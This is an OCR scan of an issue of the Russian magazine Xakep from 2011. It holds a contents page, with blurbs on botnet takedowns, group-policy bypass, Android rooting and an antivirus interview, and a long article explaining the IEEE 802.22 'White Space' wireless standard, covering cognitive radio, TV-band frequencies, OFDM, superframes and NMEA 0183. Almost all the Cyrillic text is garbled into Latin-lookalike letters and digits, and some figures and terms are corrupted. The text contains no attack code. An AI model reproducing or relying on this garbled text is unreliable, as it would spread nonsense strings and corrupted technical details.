ayauo-, vBupgeonneep. He cuntas, KOHEYHO, Apyrux
nosie3HbIX GyHKLMIA. [N ropaoro 3BaHus «NosHbINA
dapw» He xBaTaeTTonbko WiFi-Moayns v oTkpbiBan-
Kn ansnuea. CToUT 0TMETUTD, YTO €CAIM FNaBHOE A5
BaCc—IMTepaTypa, a 0CTasbHble QYHKL MW HYKHbI
ropasfo pexe, ToNyylle 6paTh 3NEKTPOHHYIO KHUTY
HaocHoBe e-ink, Tak kak oTyTeHua c LCD-gucnnes
rnasabynyTycTaBatb HaMHoro 6eicTpee. HoecamBbl
nieTe MMeHHO HEKMIA KapMaHHbI A MyIbTUME UAHbI
«KoMbalH» no feMokpaTuyHoii ueHe, o WEXLER.
BOOKT5002 nopoinaet Kak Henb3s nyydile.

MIHCHI

¢ HuskasueHa.
e LlBeTHoV CeHCopHbIA fucnen.
¢ BocnpousBefeHue BUAeo MHOXeCTBa GopMaToB.
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Preview

31 cTpaHuLa XXypHana Ha of4HoM nonoce.
Tnsep HecKobKMX CTaTe N3 3TOro HoMepa.

B3JIOM

KAK3AKPbIBAKOTBOTHETbI
EcTbnnyopHoR, nyckal faxe o4eHb
6onbLluon, IT-kKoMNaHUK x0T Obl O UH LWaHC
CNpaBUTbLCS C3afayeit, KOTopyio He MoryT
peLInNTb NPaBOOXPaHUTE IbHbIE OPraHbl U
cneucnyX6bl pasHbix cTpaH Mupa? BoTHeTbI
Waledac, Rustock, CoreFlood nganbiie
npogosKanu 6bl pacchbliNaTe MUNMOHLI
cnam-coobLeHNi N A0CUTb Pecypchl,
ecnn bbl MX AesTeNbHOCTY He oMeLLany
coTpyAH1KN Microsoft. UHTepecHo, 4To ans
3TOr0 UCMNOMb30BaNNCh HE TONBKO YUCTO
TexHMYeckme cnocobbl, HO U PUAKYE-
CKMWe yN0BKU, 0 KOTOPbIX HE MOT/IN 3HATh
KnbepnpecTynHukun. Kakyganock nonyuntb
[OCTYNKYNpaBeHuio LesbiMy 60THeTaMn
1 006e3BpeUTb MANIUOHBI 3aPaXKEHHbIX
MaLLIWH, Mbl BNoAPO6HOCTAX pacckasanu B
3TOM MaTepuane.

PCZONE
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3D-CKAHEP3A$30

Kro 66l MO nofyMaTh, 4TO CUMBMO3 Nazep-
HOM yKa3KM 1 Beb-KaMepbl MOXET MOMOYb
co3naTb3D-Mopenb noboroobbekTa?
MpobyeM npocTon KOHLENT B BeCTBUM.

MALWARE

B3JIOM
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0BXO0ArPYNMNOBbIXMOJIUTUK ThICAYAWOAWUHUHKNIOA
ApXUTEKTYpHbIe NpOMaLLKW Npu pa3paboTke PanosbiMuysassuMocTaMu Knacca local/
Windows ocTaBunu HemMano naseek ans remote fileinclude manokoroyauemib. Ho Mbl
obxopa rpynnoBbix nonnTuk. 8 pabotatonx 1He bynemnybnukosaTh basH, Mes Ha pykax
cnocoboB—B3TOM MaTepuasne. HECKOJIbKO COBEPLUEHHO HOBBIXTEM.

CLIEHA UNIXOID

BABJIOHAMAJIBAPU

Kak n ckonbko3apabaTbiBatoT HalLK
KpUMMHanbHble konern? Bnevatnsiowme
0TKPOBEHMA Y4aCTHIKA YePHOT0 PbIHKa 0
TOM, Kak 6110 M 4TO CTasno.

XAKEP 10/153/2011

HOBAflPYEPUKA—UHTEPBbIO ANDROID: TOTAJIbHOE NOAYUHEHUE
n OZnVH BbINYCK — OMH BULHbIN YeSI0BEK U3 m PyTuHr, pekaBepu, Mo, caitaHoreH...
IT-TycoBku. BatoTpa3mbizaexannB ESET OrpoMHO€ K0SIMYECTBO Pa3/IMYHbIX Xakos,

Y B3IV MHTEPBbIO Y TIaBHOT0 BUPYCHOTO MOZ,0B V1 aNlbTepPHATUBHbBIX MPOLUIBOK —
aHanuTuka—AnekcaHgpaMaTpocoBa. B3TOMbonbwom MegaFAQ'e.
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802.22:

KoHcTaHTUH «TGX» KopukoB (korikov_sibsuti@mail.ru)

K )
b

White Space

HOBbIU CTAHAAPT
BECMPOBOHOM CBA3U

3a4yeM HY)XHbl HOBblE CTaHAAPThI (Wwwi
becnpoBOLHOW CBA3M, KOTAA YXKe
ectb Wi Fi, WIMAX 1 LTE? XoT4 6bl org/22.
ANATOro, Ytobbl 0b6ecneynTh 30HY

nokpblTns pagnycom ao 100 kM um NGO
nepenayvy faHHbix 4o 22 Méut/c. CratbA ocHoBaKa Ha

OTKPBITbIX paboynx
pokyMmeHTax|EEE
802.22WGuob630p-
Hony6nukaumm
CarlosCordeiro,
KiranChallapali
andDagnachew
Birru“IEEE802.22:
Anlintroductionto
theFirstWireless
Standard basedon
Cognitive Radios”.

OduuManbHbIA canuT

022

802.22: www.ieee802.

IEEE802.22

Buione 2011 1. MexayHapoaHbIA UHCTUTYT MHXEHEPOB MO 31EKTPOTEX-
HuKke u 3nekTpoHuke (Institute of Electrical and Electronics Engineers)
0b6bsBMN 03aBepLIeHn paboTHag cTaHaapToM becnpoBogHon ceasu IEEE
802.22, n3BecTHbIM NoA MMeHeM “white space” («npoben»). HazsaHue He
cyyaitHo: A5 nepefayv AaHHbIX NpejnonaraeTcs UCnob30BaTh «Mpo-
6enbl» B TenesmsnoHHom OBY/YBY-guanasone (54-862 M) yactoT. IToT
NOAXO0J CTaf BO3MOXEH 3a CHET N306peTeHUs «yMHOr0» pafno —TexHo-
JNIOTUN KOTHUTUBHOW paanonepefayn, kotopas obecneynsaeT noACTPONKY
napaMeTpoB NpueMonepefaloLL X yCTPOINCTB CeTH, TaK YTobbI Nepeaya
[LaHHbIX He Bblle3aa Ha «/IMLLEH3NOHHbIE» YacToThl. Kak aTo nponcxoanT?
CncTeManocTOAHHO aHaNIM3NpyeT CNekTp paanoCcurHana, okpyxatouime
GoHOBbIE CUrHAbI, @ TaKXXe NoBefieHNe nosib3oBaTeneli ceTu. basosas
cTaHuus, cobpasBCio MHPOPMALLMIO 0 YACTOTHOM Mana3oHe N UCMoNb3ys
nHbopmauuio o ceoeM MecTopacnonoxenuu (no GPS), onpenensert, kakue
4acTOTbI MOTYTbbIT UCMOIb30BaHbI 151 YCTAHOBEHUSA CBA3M C M0Jb30Ba-
TensiMu ceTu. [puye yCTaHOBJIEHHOM CBA3M CUCTEMaA NMEPUOANYECKM CKa-
HUPYEeTYaCTOTHbIN MANa3oH Ha CIy4ail MosIBNIEHNS HOBbIX CUTHAMOB U MpK
0OHapy)XeHN TakoBbIX Cpa3y e NepecTpanBaeTCs Ha Apyrue 4acToThl.
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802.22: White Space

Pa3paboTunkm otmevatoT, uto IEEE802.22 WRAN siBnsieTcs ofHOM 13 nep-
BbIX CNeLnprKaL iz, NCNONb3YIOLWMX B NOHOM Mepe KOTHUTUBHbIE TEXHO-
noruv B pagnocsasn. Taknm obpasom, cTaHaapT no3sonseT3dPpekTUBHO
CNoAb30BaTb UMelOLLNACS cNeKTp paboymnx yacToT 6e3 HeobxoanMocTH
noayyYeHuns NnLeH3nin. B pesynbtaTe 370 N03BONRET JOCTUYL CKOPOCTU
nepefayu faHHbIx 4o 22 M6uT/c v 30Hy nokpbiTUs ¢ pagnycom o 100 km!

MNCI0JIb3YEMbBIE HACTOTbI

HoBblii cTanpapT 661 cnpoekTpoBaH A9 6eCnpoBoOHbIX PerMoHanbHbIX
ceteit(Wireless Regional Area Network, WRAN). 3To npeanonaraetno-
KPbITVE 30H pPafnyCcoM B iecaTKn KinnomeTpoB. CneundukaLns no3asoamt
npoBaiiepaM UHTepHeT-yCyrobecneynTb KNTeNAM CeNlbCKUX PaiioHOB
LOCTYMKLUMpoKomnofocHoMy focTyny B CeTbTaM, re ero elye HeT. YBennye-
HUWe pafnyca feiicTBIS yAaN0Ch [OCTUYb 6narofaps yMeHbLUeHMio paboymnx
yacToT, 06bluHo ncnonbayemslx B Wi-Fi, WiMax unu LTE gns nepepayv un-
dopmaumu. Moabop oNTUMaNbHbLIX 4aCTOT 3aBUCUT OT MHOTMX hakTopos. Ins
obecneyeHns HanbonbLLeit 4aNbHOCTM C COXPaHeHMEM Pa3yMHOM MOLLHOCTH
1 NpreMNeMoii Noa0Ch MPONyCKaHMs y4LIMM 0bpa3oM NoAOLLAN YacTOThI
nvana3oHaoTb4 00862 MM, Tak Ha3biBaeMble TESIEBU3MOHHbIE YaCcTOThI.
LLivpnHa nonocsl ofHoro TeneBmnsnonHoro kaHana s CLUA, AnoHnn nbonbLuen
yacTv LieHTpanbHoii v K0xHo AMepuku cocTaBnsieT 6 MIu, ans Poccunn
BonblMHCTBA APYrMX CTPaH 3Ta BeaMynHa paBHa 8 Ml Ho BCTpeyaloTCA Tak-
e CTaHAapThl C 7-MerarepL,oBoii nonocow, HanpuMep B ABctpanuu, benbrum
nJliokceMmbypre. Moatomy8802.22 npefnonaraeTcs UCNONAb30BaTh LNPUHY
nonockl 0AHOro KaHanas 6 (8,7) M.

CyujecTByloLLas cUCTeMa TesleBeLLaHUs MOXET CIY)XXUTb IPUMepoM
YCMELLHOro MCMOJb30BaHMS 3TOr0 Anana3oHa Ais MoKpbITUs HonbLLnX
nnowageit. KTomy ke AaHHbIM YacToTaM He CTPaLLHbl CTeHbI M NPenaTCTBNA.
OpHakoBucnonb3osaHu OBY/YBY ecTb MHeQ0CTATOK: MEHBLINE YACTOTI
(BNMHHbIE BONHBI) HYXAaloTcs B Goiee rabapuTHbIX aHTEHHbIX CUCTEMAX.
KpoMe noBceMeCcTHO MCMOsIb3yeMblX CUCTEM aHaNoroBOro TeNeBUAeHUs
NTSC (CLUA, Kanapa, Anokus), PAL (Esponal, SECAM (®paHuus, Mpeuns,
Poccusi) ananasoH opuumanbHo 3aKpensieH 3a pafuocBa3bio roCyAapCTBeH-
HbIX CYX6 (MoK, NPOTUBOMOXaPHOM CYXKBbI U T. A.) M KOMMEpPYeCKUX
cepaucos (TakcumnT. 4.). BaanHoi nonoce Takxe paboTtaloT 6ecnpoBoaHble
MUKPODOHBI, chcTeMbl uudposoroTenesuaequs ATSC/DVB-Tu 6or 3HaeTKTo
ellle —BaXHO, YTO HUKOMY U3 HUX He/b3si MeLlaTb!

TEXHOJI0I A «YMHOTI 0» PAOWO

OnaToroytobbl ymenown 6e3obngHo ncnonb3oBaTh «Npobenbi» Byxe

MCMob3yeMblX YacToTax, NIPefyCMOTPEH LeNblii paf KOTHUTUBHbIX

MeXaHU3MOB.

e CkaHupoBsaHue [sensing) paboyero cnekTpayvacToTnossonserobHa-
py>XWBaTb 3aHATbIE KaHabl. 3TanpoLeypa NpoxoAnT B obszaTenbHOM
nopsifike Npu MHMLManm3ayum cetn. Takxke nHGopMaL s o yacToTax
nepuopunyeckn obHoBnseTcs npupaboTe cucTembl. YnpasneHue
CKaHWpoBaHMWeMocyLlecTBAAeTCA 6a30BOM CTaHLMell, KOTopas He
TONIbKO NOChINaeTynpaBAsioLL e KOMaH4bl N0fib30BaTeNbCKOMY 060-
pyAoBaHMio, HO M caMa NPOU3BOANT pa3BeiKy CMEKTPa u MONCK HOBbIX
aboHeHTOB. Takas cMcTeMa no3BoNsieTakTya bHO NoAAepXKaTb UHGOP-
MaLuio 0 COCTOSHUM 3pMpa BO BCE 30HE MOKPbLITHSA Ba30BOMA CTaHLUM K
CBOEBPEMEHHO KOHGUTYpMPOBaTh CETb.

e PerucTpauus v oTcnexvBaHue nosb30BaTeNbCKOro 060pyaoBaHus He-
06x041M0 AN 3G PeKTUBHOM OPraHn3aL MM 4aCTOTHOrO NPOCTPaHCTBa U
BbICTPOro NOAKOYEHUA HOBbIXaBOHEHTOB K CeTH.

o EpnHas 6a3afaHHbIX INLEH3MOHHBIX N0Ib30BaTeNell Anana3oHa 3Ha-
YanbHo NpefoTBpallLaeT paboTy CeTM HaNOCTOSIHHO 3aHATLIX MECTHbLIMK
cny>6aMu UM pernoHanbHbIMU TENEBU3NOHHBIMW KaHaNaMy YacToTax.

e [eos0KauMsa No3BONSAETy3HaTb PErnoH pa3MelLeHuns 1 no base faHHbIX
onpeAennTb, Kakie KaHaslbl 3aHATbl B KOHKPETHOM MeCTHOCTH, aTakxKe
BbI6paTh ONTUMaNbHbIA MapLIPYT AN Nepe a4 nakeToB MHGopMaL M.
B pamkax cneyundrkayumnpegnonaraeTcsa npuMeHsaTb CNyTHUKOBOE UAN
Ha3eMHoe No3uLMoHNpoBaHme. [11s CNyTHUKOBO reo1oKaLumny Kaxoro
aboreHTa byneTpacnonoxeHo GPS-obopynosanune. HdopmaLums o
MeCTonoNoXeHnn nepeaaetcsa Ha 6a3osyto cTaHumMio no npotokony NMEA
0183.3T0TeKCTOBbIV NPOTOKOJ CBSA3M MOPCKUX HABUTALMOHHbIX CUCTEM,
noBceMecTHO npuMeHsioLnitcs B GPS.
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e MexaH13M COBMECTHOrO COCYLLLeCTBOBaHMSA (coexistence) cuctem nog-
pasyMeBaeTOpraH13aL/mio CNeKTpa, Tak YTobbl cTaHAAPT He BHOCK M0-
Mexv B paboTy NNLLEH3NOHHbIX NONb30BaTeNel, a TakKe OpraHn30BbIBas
BHYTPUCUCTEMHOE paHXXupoBaHue aboHeHTOB B paboyelinosoce.

AHTEHHbI
CeTbnpeAHa3HauyeHaKak 415 paboTbl cpodeccroHanbHbIMU GUKCUPO-
BaHHbIMY 6a30BbIMY CTAHLMAMM, TaK 1 C MOPTaTUBHBLIMY (1160 drKCHpo-
BaHHbIMI] N0Nb30BaTENbCKUMU TEPMUHANamMu (MogeMamu). ins oxeaTta
Bonbwmnxnnowaseit HeobxoANMbI COOTBETCTBYIOLLME MOLLHOCTY CUTHAN0B.

B cneundunkaumum npegnonaraetcs, 4To 418 NOKPbITUSA 30HbI C PafiMycOM B
30kMnoTpebyeTcs MOLWHOCTb U3NYYeHns B4 BT.Ha 6asosoi cTaHummn ans
3TUX Leneil pa3MeLaeTcs HeHanpaBieHHas aHTeHHa, YT06bl paBHOMepHO
MOKPbITh CUrHaIOM BCto Miowwaab. [1pn HeobXoAMMOCTU N30TPOMHYI0 @HTEHHY
MOXHO 3aMEHUTb CEKTOPHON. Takas KoHpUrypaLns no3BonnTagdekTuBHee
0XBaTblBaTb30HY C HepaBHOMEPHbLIM pacnpefeneHeM aboHeHTOB Mo nioLa-
IV NIV CO CNOXKHBIM Pa3MeLL,eHNeM HeCKOTbKMX Ha30BbIX CTaHLWIA.

Ha cTopoHe KnMeHTa HanpoOTUB NPUMeHsSIeTCs y3KoHanpaBeHHas aHTeH-
Ha C OpUeHTUPOBaHUEM B CTOPOHY 6a30B0M cTaHLmMm (Mnv 6a30B0ii cTaHLMM C
MaKCyMarsibHbIM CUTHAIOM, ECJT UX HECKOJIbKO). KpOMe TOro, B KTIMEHTCKOM
0bopyaoBaHNK MMeeTcs cKaHupyiowas (sensing) aHTeHHa 41 GyHKLMOHM-
POBaHMS KOTHNTUBHbIX MeXaH13MoB. [1p1 NCMoNb30BaHMM CMYTHUKOBOO
No3MLMOHMPOBaHMA TakKe MOXeT bbiTb pa3meleHa GPS-aHTeHHa.

BaxHo noHumaTtb oTnyme ctangapta lEEE802.22 o1 pyrux cneundmka-
uuit, BocobeHHocTn oTIEEE 802.16 (WiMax), c koTopbiM ero yacTo cpasHusa-
toT. OcHoBHas pa3HuLaBTOM, 4T0802.22 0pMeHTUPOBAH Ha CeNbCKMe MecT-
HOCTW M OTAaNeHHbIe pernoHbl. Ero pafuyc 30HbI MOKpbITUS B pa3bl bosblue.
Kpome Toro, 802.22 aBnsieTCsi nepBbIM B MUPE CTaHAAPTOM, UCMOMb3YIOL UM
KOFHWTUBHbI@ TEXHO0r M 11 COBMECTHOTO 1CM0JIb30BaHNS ONTUMabHOrO
4aCTOTHOro Anana3oHa m He TpebyeT ohopMAEHUS NLLEH3NIA Ha CNOoNb30Ba-
HUe onpefeeHHbIX 4acToT.

APXUTEKTYPACTAHLAPTA

Hanbosee BaxHbIMU TpeboBaHMSAMI CO CTOPOHbI pa3paboTYMKOB K CTaHAApPTY
IEEE802.226b1n1 rnbKoCTb MafanTUBHOCTb CUCTEMBI, NOCKOJIbKY 060pya0-
BaHWio npuxoanTca paboTtaTh B CnekTpe CNLLEH3NOHHbIMM aboHeHTamMu. B
uTore cTaHgapT, onucsisatownii PHY- (Physical) u MAC-ypoeHu (Media Access
Control) mogenu 0S| cetu, nonyuun ocobyto apxuTekTypy.

OUN3NYECKNNYPOBEHbDb

Mexny 6a3oBoi cTaHLMen M Nonb3oBaTeNbCKMM 060pyA0BaHNEM Ha
Gn3NYeCcKOMYypOBHE OPraHN30BaHa BYXCTOPOHHASA CBA3b C BPEMEHHbIM
pasgenenuem (Time Division Duplexing, TDD). BTakoM pazgeneHuu

NCTOPUA CTAHLOAPTA

Cneundukauna 802.22 nossunack bnarogaps pabotamnpodeccopa
[Lxo3edaMutonsllll, onybnunkosaBsLuero pe3ynbraTbl CBOWX MCCNE0Ba-
HWUI B 1999 . coBMecTHO ¢ [Ixepanbpom Maryaiipom. KoHuenuus, Ha3BaH-
Hasi npodeccopoM “cognitive radio” («KorHUTUBHOE pafuno»], no3sonser
CUCTeMaM CBA3M MCMOIb30BaTh «3aHATHIE» YAaCTOThI A8 Nepeadmn CBOUX
[laHHbIX 33 CYET MerLLMXCs B nosioce «npobenos». O4HaKo 3aKoH 3arnpe-
Wwan paboTaTh c3ape3epBUPOBAHHbLIMU YAaCTOTHLIMI f1ana3oHaMu, nnbo
BO3MOXHOCTb MOSIB/ISIACH MPU MOKYMKe [LOPOroCTOALLMUX TNLLEH3NIA. 3a-
KoHofaTeNbHas basa Mellana npoABMXeHuio TexHonoruu. Jinwe 8 2004 T.
®epnepanbHoe areHTcTBo Mo cBs3n (Federal Communications Commission)
CLJABHecno nonpaBKy, fakoLLe BO3MOXHOCTb HEINLLEH3NPOBaHHbIM
aboHeHTaM MCNoNb30BaTb INLLEH3NOHHbIE NO0CHI MPUYCN0BUM, YTO T
He BHOCAT NOMeX B paboTy 3aKOHHbIX MoNb30BaTeNei. 3To cobbITUE UHU-
uunposanonossneHue B Hosbpe 2004 1. B «cTeHax» |IEEE paboyeii rpynnel,
KoTopasi cTanaBecTu pa3paboTky cTaHfapTa802.22 c KOTHUTUBHOM
paAnocBA3bio BKayecTse ba3oBoii TexHonornn. OKOHYaTeNbHbI penn3
IEEE802.22—2011 nosiBUACSA WL CNYCTS CEMb JIET.
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CTPYKTYPA ®PENMA CTAHAAPTA BECIPOBOAHOM CBA3UN «WHITE SPACE»
DS-yacTb

AboHeHT No2

AboHeHT Ne3 : AboHeHT Nel

AboHeHT No& AboHeHT Ne7
AboHeHT No3

A6oHeHT Nol ABoHeHT Neb WHuumnanuzaumsa
AboHeHT Ne8 usc

ABOHEHT Nob  -----one oo Baw 3anpoc

AboHeHT No&

AboHeHT No2

®peiim N+1

BPEMA

CTPYKTYPA CYNEP®PEWMA CTAHAAPTA BECMIPOBOAHON CBA3U «WHITE SPACE»

Cynepopeitm N

I BPEMA

mMoaynauuma

RMC-cTpoka

[ns kaxgoro nosib3oBaTtens
nop.6v|paeTc9| CBOA onTUMasibHada
cxeMa Moaynaumu

GP=GPS GL=ITIOHACC

2 BpeMs duKcaumm MecTononoxXeHus

BA30BAf CTAHL

N3nyyaet curHan
N30TPOMHO
BO BCe HanpaBneHunsa

%

| 16-0AM 64-0AM

NMEA 0183 1%

TEKCTOBbI MPOTOKO CBSI3M MOPCKOTO (Kak MpaBumIio, HAaBUraLWoHHOro) 0bopyaoBaHus Mexay coboil. 15
Cran ocobeHHo nonynspeH B CBA3M C pacnpocTpaHeHneM GPS-npuéMHNKOB, NCMONb3yOLWNX CTaHAApT

no BceMupHoMy KoopAUHU-
pOBaHHOMY BpeMeHu

A — pocToBepHo, V— Hej0CcTOBEPHO
WnpoTa

N=ceBep, S=tor

LonroTa

W=3anag, E=BocTok
lopu3oHTanbHas coctaBnsoLWas
CKOPOCTU OTHOCUTEJSIbHO 3eMJIN B y3/1aX
[yTeBow yron B rpagycax
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MarHuTHOe CKJIoHeHWe B rpagycax
HanpaBneHne MarHMTHOro CKNIOHEHUs
Pexunm:

A = aBTOHOMHbI

D = pnddepeHumnanbHbIi

E = annpokcumauymns

N = HeflocToBEpHbIe AaHHbIEe
KoHTposibHas cymma
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802.22: White Space

BXOJHbl€ W BbIXOAHbIE AAaHHbIE MepealoTCs Ha OfLHOM YacToTe, HO B pa3Hble
MPOMEXyTKU BpeMeH!. ECIM HY>XKHO N3MEeHUTbL MPUOPUTET MO CKOPOCTH,
TOHeTHMYero npoLie — A0CTaTOYHO NPOAANTh BbieIeHHOe BpeMs ANs
O[HOr0 MOTOKA JaHHbIX M COKPaTUTb A8 Py roro.

Kak TpaHcnopTHbI MexaHn3M B 802.22 Mcnosib3yeTCs TEXHOMOM S MyTb-
TWUNJIEKCMPOBAHWS C OPTOrOHasIbHBIM YaCTOTHO-BPEMEHHBIM pa3fefieHnem
kaHanos (Orthogonal Frequency Division Multiplexing, OFDM). AHanoruyxas
cxeMma npumensietcs B WiMax. CyTb ee 3akNto4aeTcs BTOM, 4TO HEKOTOPbIN M0-
TOK AaHHbIX Pa3fensaeTcs MeX Ay HeCKOSIbKNMU CneLanbHbIMM YacToTaMu.
Kax bl NoAnoTOK MOLYMPYeTCS N0 CBOE CXeMe.

Bcneundukauum npeycMoTpeHo TpY BUAA CXEM MOLYNALMN: KBa-
ApatypHas dasosas MaHunynauus (Quadrature Phase Shift Key, QPSK),
KBagpaTypHas aMnauTygHas MaHunynauus nopsagka 16 v 64 (Quadrature
Amplitude Modulation, 16 QAM 1 64 QAM). CxeMbl 0TNIMYAIOTCH MEXAY CO-
60 KonMyecTBOM MHOPMALUK, KOTOPYIO MOXXHO MepefaTh 04HUM CUMBO-
nom. Tannn nHas cxema Moaynauuv BblbMpaeTcs MCXOAA U3 YCNI0BUIA Nepe-
Aaun.YeM Bbile CKOPOCTb NEpPeaayn, TeM HIKe ee HafeXXHOCTb (TeM Bbilwe
BEPOATHOCTb BO3HUKHOBEHWS ownbku). MoaToMy ecvaboHeHT ceTu pac-
MOJI0XEeH flaneko 0T 6a30B0 CTaHL MM MypOBEHb CUrHaNa BO BpeMsi CBA3M
He 04€eHb BbICOK, TOJlyylle CMEHUTL CXeMy MoAynauuu, Hanpumep ¢ 16 QAM
Ha 6osiee MefiieHHY0, HO 3aTo cTabunbHyto QPSK. Cuctema noctosHHO
ajanTupyeTcs, M AN8 KaXA0ro noab3oBaTes npoBoauTca banaHcuposka
ONTUMaNbHOro PeXMMa MeX [y CKOPOCTbIO U MOMEX0YCTONYMBOCTbIO.

BaxHbIM ans cTanpaptassnsercs ocobeHHocts OFDM npoTuBocTosTh
MHOrony4YeBOMy pacnpocTpaHeHuto. [laHHbIi 3 dekT Bo3HMKaeT npu Ha-
JINYMU KaKnX-Nnbo NpensTcTBUIA Mex Ay 6a30Bo cTaHLMel naboHeHTOM.
CMrHan MoXeTUCMbITaTb MHOMO OTPaXKEHUI 0T Pa3HO0BPa3HbIX 06BEKTOB.

B koHe4HOM cyeTe K MPMEMHOMY yCTPOCTBY MPUXOAMUT He OAMH CUrHas, a
HECKOJIbKO CHEKOTOPO 3a[1ePXKKOMA, HTO MOXKET MPUBECTU K MEXKCUMBOJIbHON
nHTepdeperumn. Mpotne storo s OFDM npuMeHsoT cnelnanbHyo BCTaBKY,
TakK Ha3blBaeMbIN LLMKINYeCKUI NnpeduKc.

[naboneectabunbHoi paboTsl B802.22 npeaycMOTPEHO UCMOSTb-
30BaHWe KOL0B, MO3BOJIAOLLNX KOPPEKTUPOBATL OLWNOKU. BTOM Yncne
konbl lannarepa (Gallager), KoTopble Ha JaHHbI MOMEHT MPeACTaBASIOT
nyylee pelleHne angnepeaayn MHGoOpMaL My no KaHay CBA3M C LUyMaMm
B OrpaHMyeHHo nosnoce.

[lnsopraHnsaumnn jocTyna K KaHany CBA3u HECKONbKMX aboHeHTOB
OlHOBPEMEHHO NPUMeHsIeTCH TeXHNKA YaCTOTHO-BPEMEHHOr 0 pa3eneHus
(Orthogonal Frequency Division Multiple Access, OFDMA). 3To yHuKanbHas
TEeXHOJIOT S, MO3BOJIFIOLLAs UCMOIb30BATbL AOCTYMNHOE YaCTOTHOE MPOCTPaH-
CTBOMaKCcMMasbHO BbIrofAHbIM criocoboM. OFDMAyxxe oTnnyHo cebs 3a-
pekoMeHoBanaBTakux cTanaptax, kak WiMaxu LTE. B mexatusme OFDM
[OCTYMNHble CeLyanbHble YacToTbl eNIATCA MeX Ay N0sIb30BaTeNsAMN CETU.

CnekTpanbHasi 3GdeKTUBHOCTL MO CTAaHAAPTY MOXKET BapbipoBaTb-
c0710,624 103,12 But/c/Ty. 3Ta BeIMYMHA XapaKTepU3yeT CKOPOCTb
nepefayu LaHHbIX B 3afJaHHOI Mon0Cce YacToT. YeM Bbille 3HaYeHUe,
Tembonblie nponyckHol cnocobHocTblo 0bnafaeT cucTeMa, ofHaKo ¢
POCTOM CMeKTpasbHON 3PPEKTUBHOCTM yMeHbLLIAeTCH MOMexXo3allnLleH-
HOCTb. [1151 KOMNEHcaL MM HU3KO NPONYCKHON CNOCOBHOCTI KaHana npu
MUHUMaNbHON CNeKTpanbHoi 3G PeKTUBHOCTU UCNONb3YeTCH MeTOANKA
KaHanbHoro o6beauHerns (channel bonding). CyTs MeToanKku 3aKknt0Ya-
€TCS BUCMO0Jb30BaHUN 4,0 TPEX TENIEBU3NOHHbIX KAHAJIOB OLHOBPEMEHHO,
4To6bl 33 CYeT WKpuHbI nonock B 18 (21, 24) MMy o6ecneunTs npueMaemyto
CKOpPOCTbNepeaayn.

[N 3aWmnThl ANLLEH3NOHHbIX KaHAN0B HE0OX04MMO BbIfEPXKMNBaTb
4aCTOTHbIA MHTEpBAJ, YTODbI UCKIOYNTL BO3HNKHOBEHME noMex. LLnpuHy
4aCTOTHOrO MHTEepBasia peKOMEeHYI0T ief1aTh CONOCTaBUMOIA C LUIMPUHON
ofHoro kaHana. Daktuyecku Heobxoaumo umetb 8 0BY/YBY-guanasoxe
npo6eibl LUMPUHON 0T Tpex KaHanos (0ANH MHPOPMaLMOHHBIV N0C ABa
3aWnTHLIX Mo 6okaM) v 6onee. 3To TpeboBaHme ewe pa3 nofyepKnBaeT,
uTo LlenecoobpasHo pasBopaynsaTe IEEE802.22 B cenbckoil u ManoHace-
SIeHHOW MeCTHOCTY, TAe 3GUp OTHOCUTENbHO CBOBOAEH.

MAC-YPOBEHb

YposeHb ynpasnenuns goctynom k cpese (Media Access Control) opra-
HW3yeTajpecaymio v KOHTpob gocTynak cetu. MAC, oCHoBaHHbIN Ha
KOTHUTUBHBIX TEXHOJIOTUSIX, LOJKEH UMETb 04€Hb JUHAMUYHYIO M TMBKYI0
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apXuTeKTypy, YTobbl OMepaTUBHO pearnpoBaTh Ha U3MEHEHUS B CETU.

[nsobMeHa paHHbiMn B 802.22 ucnonb3ytoTcs cynepdpeiimel
(superframe). LnutenbHocTb ofgHoro cynepdpenma coctasaset 160 mc.
B Hauane kaxporo cynepdpeitMa pacnonoxeHa cneyuanbHas npeam-
byna [preamble) v KoHTponbHbIM 3aronosok cynepdpeima (superframe
control header, ganee —SCH). Mo Kax4oMy 13 OCTYMHBIX 1 0TBEYAOLUX
BceM TpeboBaHWsIM KaHanoB ba3oBas cTaHUWs nocbiiaeT cynepdpeimbl.
ABOHEHTbI, HAXOASALLMECs B30HE L8 NCTBUS CTAHL UM U eLLie He MOAKITI0-
YeHHble K CeTu, «cayLwatT» cBo6o[HbIe KaHabl Ha Hannyne cynepd-
peiimoB. Monyuns faHHble, aboHeHTCKOe 0bopyfoBaHMe N3BNEKAET U3
SCH Bcto HeobxoavMyto UHOPMaLMIO LS MHULMANU3aL UM CETEBOTO
coefuHenmns. Kaxablii cynepdpeiim coctont ns dpeitmos (frame). Oan-
TenbHOCTbOAHOro dperima coctaBnseT 10 Mc, COOTBETCTBEHHO B OAHOM
cynepopeiime 16 ppeiiMoB. PpeliMbl ABAAOTCH HENOCPEACTBEHHbBIMMN
nepeHOCYMKaMM AaHHbIX.

NHnumanusauns cetu B 802.22 cnioxHee, YeM B ,pyrux 0ecrnpoBofAHbIX
ceTsx. Bc8ycnoxHsaeTcH TeM, 4TO HET M3HAYaNbHO ONpeesIeHHOro KaHana
cBsi3n. Taknm obpasoM, nonb3oBaTelbCkoMy 0bopyf0BaHMIo CHavana
Heo6Xx0[JMMO NPOCKaHMpPOBaTb CETKY 4aCTOT M COCTaBUTL KapTy BCEro
nvana3soHa.3aTeM B CcBobOAHbIX M NoaXxoaAWwmx npobenax mnckate SCH
6asoBoiicTaHuum. Mocnetorokak SCH6ynetnonyyeH, MogemM aboHeH-
Tapaetocebe3HaTb 0a30B0M CTaHLMM M OCTaeTCA BKaHale HaBpeMs
nencTeus cynepdpeiiMa. Ecnusaato BpeMs MoAeM nonyyaeT oTBET, TO
NPOMCXOANT MHULMANM3aLusa U NofKYeHne K ceTu. [TocneyctaHoBe-
HUS COeJMHEHNS MUHPOPMALLMA 0 COCTOSIHUM KaHaI0B 0TNpaBAseTcs Ha
6asoByto cTaHLMI0.

Kak roBopunocs BbiLLe, BO BpeMsi paboTbl B ceTu 6a3oBas cTaHLus
nepuofMYecKu nocbinaeT KOMaHAbl aboHeHTCKOMY 060pyA0BaHUI0 4SS
3anycka CKaHMpoBaHWA Anana3oHa Ha Hanyne MNLEeH3NOHHbIX M01b30-
BaTeneit. [Ip13TOM CyLLeCTBYIOT pa3iNyHbIe aNIrOPUTMbl CKAHNPOBAHMUS,
KoTopble onpeAeNsioT NOPOroBbIiiypoBeHb CUrHaNa B KaHae, BpeMs
CKaHMPOBaHMs, Mana3oH, BEPOSTHOCTL 0bHapy)XXeHUs JIOXKHOW TPeBOTU.
CywiecTBytlOTOMpeeneHHble NOPOroBble 3HaYEHNS CUTHAOB, MPU KOTO-
